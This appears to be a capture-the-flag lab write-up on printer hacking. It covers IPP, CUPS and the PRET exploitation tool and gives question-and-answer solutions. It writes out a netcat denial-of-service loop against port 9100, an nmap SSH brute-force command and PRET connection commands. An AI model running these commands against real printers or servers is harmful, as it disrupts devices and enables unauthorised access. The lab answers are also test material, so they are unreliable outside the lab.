Printer Hacking 101

Date: 13, December, 2020

Author: Dhilip Sanjay S

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Learning Objectives

• CUPS Server (Common UNIX Printing System)

• IPP (Internet Printing Protocol)

• PRET - Printer Exploitation

• Printer Security Testing Cheat Sheet

Targeting and Exploiting

• Locating Printers

  • python pret.py

  • nmap -p 631 <IP_RANGE>

• Exploiting

  • Three options in PRET:

    • PS (PostScript)

    • PJL (Printer Job Language)

    • PCL (Printer Command Language)

  • Try out all the three languages, to check if the language will be understood by the printer

    python pret.py laserjet.lan ps
    python pret.py {IP} pjl
    python pret.py /dev/usb/lp0 pcl    

  • Once you get a shell-like output, type help to see the different commands available.

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Solutions

What port does IPP run on?

• Answer: 631

• Impact

  • An open IPP port can expose a lot of sensitive information such as printer name, location, model, firmware version, or even printer wifi SSID.

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How would a simple printer TCP DoS attack look as a one-line command?

• Answer: while true; do nc printer 9100; done

• Explanation:

  • Replace printer with <PRINTER_IP>

  • Since it is an infinite loop, the printer will remain busy.

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Review the cheat sheet provided in the task reading above. What attack are printers often vulnerable to which involves sending more and more information until a pre-allocated buffer size is surpassed?

• Answer: Buffer Overflow

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Brute forcing SSH password

• Null Byte Article

• Use any of the following

  1. Metasploit

  2. Hydra

  3. Nmap

• Using nmap:

  • nmap <MACHINE_IP> -p 22 --script ssh-brute --script-arg userdb=user.txt

  • Since we know the username, user.txt must contain only printer

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Connect to the printer per the instructions above. Where's the Fox_Printer located?

• Answer: Skidy's basement

• Steps to Reproduce: Visit http://<MACHINE_IP>:631/printers/

Image

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What is the size of a test sheet?

• Answer: 1k

• Steps to Reproduce:

  • Visit http://<MACHINE_IP>:631/printers/Fox_Printer

  • Select Print Test Page option from the Drop-down box.

  • The jobs will be listed at the bottom of the page.

  • Check the size column in that table.

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